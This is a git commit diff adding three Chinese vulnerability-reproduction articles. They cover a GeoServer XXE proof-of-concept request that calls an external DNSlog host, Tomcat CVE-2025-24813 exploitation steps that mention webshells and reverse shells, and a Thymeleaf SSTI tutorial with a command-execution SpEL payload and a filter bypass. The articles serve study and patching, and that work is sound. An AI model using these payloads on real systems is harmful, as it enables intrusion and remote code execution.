mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
代码审计系列-基础篇-SSTI-Thymeleaf模版注入漏洞、【漏洞复现】Apache Tomcat 命令执行漏洞(CVE-2025-24813)、【成功复现】GeoServer XXE漏洞 (CVE-2025-30220)、
This commit is contained in:
1 parent
9053656d00
commit
f59c82a2ca
4 files changed
+553
-1
No files matched your search
@@ -15522,5 +15522,8 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5OTk4MDE2MA==&mid=2655284631&idx=1&sn=0f2b418860e8c2dc075739e21e9ca0cb": "DeepSeek R1技术复现和大模型的治理与安全",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNTIwNTkyNg==&mid=2247555215&idx=1&sn=6a2811d84935bd770fb0fab5ac10eb48": "渗透进阶,玩转网络漏洞挖掘",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU3ODM2NTg2Mg==&mid=2247496070&idx=1&sn=d3362c4570a2fa20dd6265ff8fe16d5a": "CNVD漏洞周报2025年第23期",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU3ODM2NTg2Mg==&mid=2247496070&idx=2&sn=fbbb1aea6d677f06fb7c17d1744a6eb3": "上周关注度较高的产品安全漏洞(20250616-20250622)"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU3ODM2NTg2Mg==&mid=2247496070&idx=2&sn=fbbb1aea6d677f06fb7c17d1744a6eb3": "上周关注度较高的产品安全漏洞(20250616-20250622)",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3MDU1MjgwNA==&mid=2247487469&idx=1&sn=969aa08661d0f26aeb3b4f8d5321b200": "代码审计系列-基础篇-SSTI-Thymeleaf模版注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI4MjkxNzY1NQ==&mid=2247485985&idx=1&sn=77e197ee7c913ad96cdc2f038191fd99": "【漏洞复现】Apache Tomcat 命令执行漏洞(CVE-2025-24813)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU2NDgzOTQzNw==&mid=2247503434&idx=1&sn=536a6976c1a3e6ceaedfee30301894c3": "【成功复现】GeoServer XXE漏洞 (CVE-2025-30220)"
|
||||
}
|
||||
@@ -0,0 +1,142 @@
|
||||
# 【成功复现】GeoServer XXE漏洞 (CVE-2025-30220)
|
||||
弥天安全实验室 弥天安全实验室 2025-06-23 14:26
|
||||
|
||||
#
|
||||
|
||||
网安引领时代,弥天点亮未来
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**0x00写在前面**
|
||||
|
||||
**本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!**
|
||||
|
||||

|
||||
|
||||
|
||||
**0x01漏洞介绍**
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
GeoServer是GeoServer开源的一个用 Java 编写的开源软件服务器。允许用户共享和编辑地理空间数据。
|
||||
|
||||
GeoServer存在代码问题漏洞,该漏洞源于XML外部实体处理不当,可能导致信息泄露。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**0x02影响版本**
|
||||
|
||||
GeoTools: "29.0<=GeoTools<=31.6, <28.6.1"
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**0x03漏洞复现**
|
||||
|
||||
1.访问漏洞环境
|
||||
|
||||

|
||||
|
||||
2.对漏洞进行复现
|
||||
|
||||
|
||||
**POC**
|
||||
|
||||
漏洞复现
|
||||
```
|
||||
POST /geoserver/wfs HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0
|
||||
Connection: close
|
||||
Content-Length: 353
|
||||
Content-Type: application/xml
|
||||
Accept-Encoding: gzip
|
||||
|
||||
<wfs:GetFeature service="WFS" version="1.0.0"
|
||||
xmlns:wfs="http://www.opengis.net/wfs"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xmlns:topp="http://www.openplans.org/topp"
|
||||
xsi:schemaLocation="http://a http://xjsackqijs.lfcx.eu.org/xxe.xsd"
|
||||
outputFormat="KML">
|
||||
<wfs:Query typeName="topp:states"/>
|
||||
</wfs:GetFeature>
|
||||
```
|
||||
|
||||
通过DNSlog回显,判断漏洞存在
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
3.Yakit插件
|
||||
测试
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**0x04修复建议**
|
||||
|
||||
|
||||
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
|
||||
|
||||
可以使用以下命令查看版本:`mvn dependency:list | grep geotools`。
|
||||
|
||||
建议尽快升级修复漏洞,再次声明本文仅供学习使用,非法他用责任自负!
|
||||
```
|
||||
https://geoserver.org/download/
|
||||
https://github.com/geoserver/geoserver/releases/tag/2.27.1
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
弥天简介
|
||||
|
||||
学海浩茫,予以风动,必降弥天之润!弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。
|
||||
|
||||
口号 网安引领时代,弥天点亮未来
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
知识分享完了
|
||||
|
||||
喜欢别忘了关注我们哦~
|
||||
|
||||
学海浩茫,
|
||||
|
||||
予以风动,
|
||||
|
||||
必降弥天之润!
|
||||
|
||||
|
||||
弥 天
|
||||
|
||||
安全实验室
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,129 @@
|
||||
# 【漏洞复现】Apache Tomcat 命令执行漏洞(CVE-2025-24813)
|
||||
稻草人 玄武盾网络技术实验室 2025-06-23 13:52
|
||||
|
||||
**“**
|
||||
对我们感兴趣的话就点个关注吧!**”**
|
||||
|
||||
## 漏洞介绍
|
||||
|
||||
**Apache Tomcat 命令执行漏洞(CVE-2025-24813)**
|
||||
|
||||
Tomcat 作为一款开源的轻量级 Web 应用服务器与 Servlet 容器,由 Apache 软件基金会旗下 Jakarta 项目负责开发,是当下极为流行的 Java Web 服务器之一。
|
||||
|
||||
**漏洞影响范围**
|
||||
- 9.0.0.M1 <= tomcat <= 9.0.98
|
||||
|
||||
- 10.1.0-M1 <= tomcat <= 10.1.34
|
||||
|
||||
- 11.0.0-M1 <= tomcat <= 11.0.2
|
||||
|
||||
**漏洞原理分析**
|
||||
|
||||
在 Tomcat 里,HTTP PUT 请求中的 Content-Range 头字段主要发挥着实现大文件分块传输的重要作用。当文件上传处于未完成状态时,这些上传内容会被临时存放在 Tomcat 工作目录中,具体位置是:$CATALINA_BASE/work/Catalina/localhost/ROOT
|
||||
。
|
||||
|
||||

|
||||
|
||||
|
||||
该漏洞的核心在于不完整 PUT 请求上传时的文件名处理机制,其会将文件路径中的分隔符 /
|
||||
转换为 .
|
||||
。例如,访问路径 /xxxxx/session
|
||||
会被解析为 .xxxxx.session
|
||||
。因此,整个漏洞的利用过程为
|
||||
:
|
||||
1. Tomcat的File会话存储默认路径同样位于:CATALINA_BASE/work/Catalina/localhost/ROOT
|
||||
|
||||
1. 当存在反序列化利用链时,可以上传包含恶意序列化数据的文件
|
||||
|
||||
1. 通过设置JSESSIONID=.xxxxx
|
||||
来触发漏洞
|
||||
|
||||
## 环境搭建
|
||||
|
||||
该漏洞的利用条件较为苛刻,其核心成因是:当 Tomcat 处理不完整的 HTTP PUT 请求时,会依据用户提供的文件名及路径动态生成临时文件。若以下条件同时满足,攻击者即可执行任意代码:
|
||||
1. **默认 Servlet 启用了写权限(默认禁用)**
|
||||
|
||||
1. **启用了部分PUT请求支持(默认启用)**
|
||||
|
||||
1. **应用程序使用 Tomcat 的基于文件的会话持久化(默认存储位置)**
|
||||
|
||||
1. **应用程序包含可被利用于反序列化攻击的库**
|
||||
|
||||
下面就是需要下载和配置的设置
|
||||
|
||||
复现版本Tomcat 9.0.98
|
||||
```
|
||||
```
|
||||
|
||||
**构造利用条件:**
|
||||
|
||||
条件一、需要在conf/web.xml中,将DefaultServlet的readonly配置为false,启用写入功能
|
||||
```
|
||||
```
|
||||
|
||||

|
||||
|
||||
条件二、PUT方法默认开启
|
||||
|
||||
条件三、在conf/context.xml中,开启File文件会话存储
|
||||
```
|
||||
```
|
||||
|
||||

|
||||
|
||||
条件四、下载 commons-collections-3.2.1.jar, 把 jar 包放入webapps\ROOT\WEB-INF\lib
|
||||
目录下,如果没有这个目录就创建一个
|
||||
```
|
||||
```
|
||||
|
||||

|
||||
|
||||
环境搭建好后就可点击bin目录下面的startup.bat
|
||||
启动环境。
|
||||
|
||||

|
||||
## 漏洞复现
|
||||
|
||||
【Yso-Java Hack】模块生成一个利用payload:
|
||||
|
||||

|
||||
|
||||
在使用该数据包进行上传时,请务必确保以下几点:
|
||||
|
||||
1. **Range 头字段的分块值必须与 Content-Length 完全一致,**
|
||||
1. **Content-Length 的值需大于目标文件的当前长度,以此确保能覆盖原有内容。**
|
||||
```
|
||||
```
|
||||
|
||||
|
||||
下面poc可触发
|
||||
```
|
||||
```
|
||||
|
||||
|
||||
也能够上传 webshell,只需对执行命令进行修改即可。默认情况下,执行 cmd 的位置是 bin 目录,将 webshell 上传到该目录是没有用的,所以修改一下路径就行。其他诸如反弹 shell 等操作,原理都是一样的。
|
||||
|
||||
|
||||
要是写入失败,有可能是本地普通用户没有写入文件的权限,对权限进行设置后就可以成功写入了。
|
||||
```
|
||||
```
|
||||
|
||||
|
||||
|
||||
你上传的 JSP WebShell 确实已成功写入服务器,但由于 Tomcat 的安全机制限制,该文件可能被标记为不可执行或不可访问。
|
||||
|
||||

|
||||
# 修复方案
|
||||
|
||||
目前Apache官方已公布漏洞公告,可下载补丁更新:https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
|
||||
|
||||
领导说不点「推荐」就扣我鸡腿!救救孩子吧。
|
||||
|
||||

|
||||
|
||||
声明:
|
||||
技术文章均收集于互联网,仅作为本人学习、记录使用。
|
||||
侵权删
|
||||
!
|
||||
!
|
||||
|
||||
@@ -0,0 +1,278 @@
|
||||
# 代码审计系列-基础篇-SSTI-Thymeleaf模版注入漏洞
|
||||
闪石星曜CyberSecurity 2025-06-23 08:49
|
||||
|
||||

|
||||
|
||||
本篇为代码审计系列SSTI服务器端模板注入漏洞理论篇-Thymeleaf第九篇,看完本篇你将掌握关于Thymeleaf模版注入漏洞的代码视角原理剖析、基础挖掘漏洞核心能力,看完如有技术错误欢迎评论区指正。
|
||||
- Thymeleaf概念
|
||||
|
||||
- 业务视角Thymeleaf流程
|
||||
|
||||
- 漏洞视角Thymeleaf漏洞原理及防范(
|
||||
Thymeleaf
|
||||
3.0.11版本)
|
||||
|
||||
- Rouyi实战审计案例(
|
||||
Thymeleaf
|
||||
3.0.12版本)
|
||||
|
||||
|
||||
|
||||
**Thymeleaf模版注入漏洞**
|
||||
|
||||
一
|
||||
|
||||
Thymeleaf
|
||||
|
||||
Thymeleaf 的模板引擎通过将模板与数据模型结合,实现了动态内容的渲染,适用于各种 Web 开发场景。
|
||||
|
||||
1.1Thymeleaf引擎
|
||||
|
||||
引擎是 Thymeleaf 的核心组件,负责解析模板、处理动态表达式,并将模板与数据模型结合生成最终的输出内容。
|
||||
|
||||
1.2Thymeleaf模版
|
||||
|
||||
模板是 Thymeleaf 中用于定义页面结构和内容的文件,通常是 HTML 文件。模板中包含了静态内容和动态占位符(Thymeleaf 表达式),这些占位符会在渲染时被替换为实际的数据。如下图所示:${user.name}和${user.email}是 Thymeleaf 表达式,会在渲染时被替换为实际的数据。
|
||||
|
||||
二
|
||||
|
||||
业务视角Thymeleaf场景流程
|
||||
|
||||
Thymeleaf数据流转流程
|
||||
|
||||
- 用户请求阶段
|
||||
:用户通过浏览器向服务器发送 HTTP 请求(如 GET、POST 请求)
|
||||
|
||||
- 数据绑定Model
|
||||
:控制器将数据绑定到Model对象中,Model是 Spring MVC 提供的一个接口,用于在控制器和视图之间传递数据
|
||||
|
||||
- Thymeleaf视图解析器
|
||||
:Spring MVC 根据控制器返回的
|
||||
视图名称
|
||||
(如"greeting")调用 Thymeleaf的视图解析器(ThymeleafViewResolver)来解析模板。
|
||||
|
||||
- Thymeleaf 引擎处理模板:
|
||||
Thymeleaf 引擎根据模板名称找到对应的
|
||||
模板文件
|
||||
(如greeting.html),并将数据渲染到模板中。
|
||||
|
||||
- TemplateEngine:Thymeleaf 的核心类,负责模板的解析和渲染。
|
||||
|
||||
- Context:Thymeleaf 的上下文对象,用于存储模板中使用的变量。
|
||||
|
||||
- TemplateResolver:负责定位模板文件(如从类路径、文件系统等)。
|
||||
|
||||
- 模板渲染
|
||||
:Thymeleaf 根据模板文件和数据生成最终的 HTML 内容。
|
||||
|
||||
|
||||
|
||||
|
||||
2.1Thymeleaf使用流程
|
||||
|
||||
- 定义模板:开发者编写 Thymeleaf 模板文件(通常是 HTML 文件),定义页面结构和动态占位符。
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
- 准备数据模型:在后端代码中,准备需要渲染的数据模型。
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
- 渲染模板:Thymeleaf 的TemplateEngine将模板与数据模型结合,生成最终的 HTML 内容。
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
- 返回渲染结果:将渲染后的 HTML 内容返回给客户端(如浏览器)。
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
三
|
||||
|
||||
漏洞视角Thymeleaf模版原理及防范
|
||||
|
||||
Thymeleaf模版注入漏洞属于SSTI类漏洞,触发漏洞根因是在用户输入参数后模板渲染前Thymeleaf引擎使用Spel解析阶段造成Payload被执行,且不同版本的Thymeleaf模版会有不同的漏洞触发场景。
|
||||
|
||||
3.1漏洞场景研究
|
||||
|
||||
示例漏洞场景项目https://github.com/veracode-research/spring-view-manipulation/
|
||||
|
||||

|
||||
|
||||
Thymeleaf模版版本为3.0.11
|
||||
|
||||

|
||||
|
||||
3.1.1表达式拼接注入
|
||||
|
||||
直接拼接注入表达式经测试不可行
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
输入表达式无法进行拼接模版注入
|
||||
|
||||

|
||||
|
||||
测试模版是否能解析SPEL表达式:
|
||||
|
||||
StandardDialect:Thymeleaf 使用`StandardDialect`来处理标准表达式(如`${...}`)。可以通过检查`StandardDialect`是否被注册来确定表达式解析是否启用。
|
||||
|
||||

|
||||
|
||||
发现开启了表达式的解析
|
||||
|
||||

|
||||
|
||||
模版修改为Payload形式直接访问测试
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
访问show接口发现也能直接解析Spel表达式
|
||||
|
||||

|
||||
|
||||
那么只有一种可能:Spel中getValue()处理完模版中固定的Spel表达式再渲染的Html,而不是解析传入的Spel表达式到SPELVariableExpressionEvaluator.java中的getValue()方法进行下断发现传入的是模版中写死的$message表达式并非
|
||||
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.x::
|
||||
|
||||

|
||||
|
||||
Spel表达式流程发现:ThymeleafView.java中吧templateName是核心内容,主要是传参可控制模版名字
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
将${message}作为input传进去,后续将作为直接解析
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
3.1.2return模版路径表达式解析
|
||||
|
||||

|
||||
|
||||
3.1.3分段表达式注入return模版路径表达式解析
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
3.1.4Url表达式注入
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
四
|
||||
|
||||
实战审计案例
|
||||
|
||||
此篇RouYi-v4.7.1为分析Thymeleaf漏洞进行白盒方式审计模版注入漏洞。部署后从系统功能视角到源代码定位及抓包调试进行讲解。
|
||||
|
||||
白盒审计思路
|
||||
|
||||
- 关键词定位Control层
|
||||
|
||||
- 查看是否存在注入点
|
||||
|
||||
- return or url模版路径可拼接进行给视图传参数
|
||||
|
||||
4.1RouYi-v4.7.1漏洞项目部署
|
||||
|
||||
Gitee项目地址:https://gitee.com/y_project/RuoYi/compare/v4.7.1...v4.7.2
|
||||
|
||||

|
||||
|
||||
直接打开Pom.xml引入依赖即可,查看thymeleaf版本2.1.0
|
||||
|
||||

|
||||
|
||||
启动项目
|
||||
|
||||

|
||||
|
||||
导入2个数据库文件,并修改数据库账号密码,成功启动项目
|
||||
|
||||

|
||||
|
||||
4.2白盒源代码漏洞分析
|
||||
|
||||
定位SpringBoot中Thymeleaf模版配置项及前端模版位置
|
||||
|
||||

|
||||
|
||||
关键词定位:在Thymeleaf漏洞中的业务代码,会在控制器(Controller)和视图(View)之间传递数据。它们的主要作用是将数据从控制器传递到 Thymeleaf 模板,以便在模板中渲染这些数据
|
||||
|
||||

|
||||
|
||||
使用关键词定位Control层,看样子用的ModelMap
|
||||
|
||||

|
||||
|
||||
DemoOperateController.java中修改用户方法返回视图模版
|
||||
|
||||

|
||||
|
||||
第二处也不可控
|
||||
|
||||

|
||||
|
||||
查找到CacheController.java发现惊喜,return路径可直接传参数控制
|
||||
|
||||

|
||||
|
||||
Rouyi的模版版本为3.0.12,需要定位此版本Payload才可以
|
||||
|
||||

|
||||
|
||||
根据描述信息3.0.12防护信息需要进行
|
||||
Url编码并且进行空格处理才可绕过
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
源码跟踪3.0.12绕过方式
|
||||
|
||||

|
||||
|
||||
发现使用SpringSecurity框架中的一个工具类:SpringStandardExpressionUtils.java用于检测 SpEL具体逻辑如下:
|
||||
|
||||
1.倒序扫描表达式字符串,逐字符匹配"new"关键字(使用倒序方式匹配 "wen")。检查匹配到的 "new" 是否为独立关键字,而非标识符的一部分。
|
||||
|
||||
2.同时检测类似 T(SomeClass) 的静态方法调用形式。
|
||||
|
||||
如果发现上述两种情况之一,则返回 true,表示存在受限操作。
|
||||
|
||||

|
||||
|
||||
所以此时需要先查看SpringEL表达式是否从语法方面绕过:支持"T (SomeClass)"这样的语法,因此我们只要在T与恶意Class之间加个空格
|
||||
|
||||
END
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user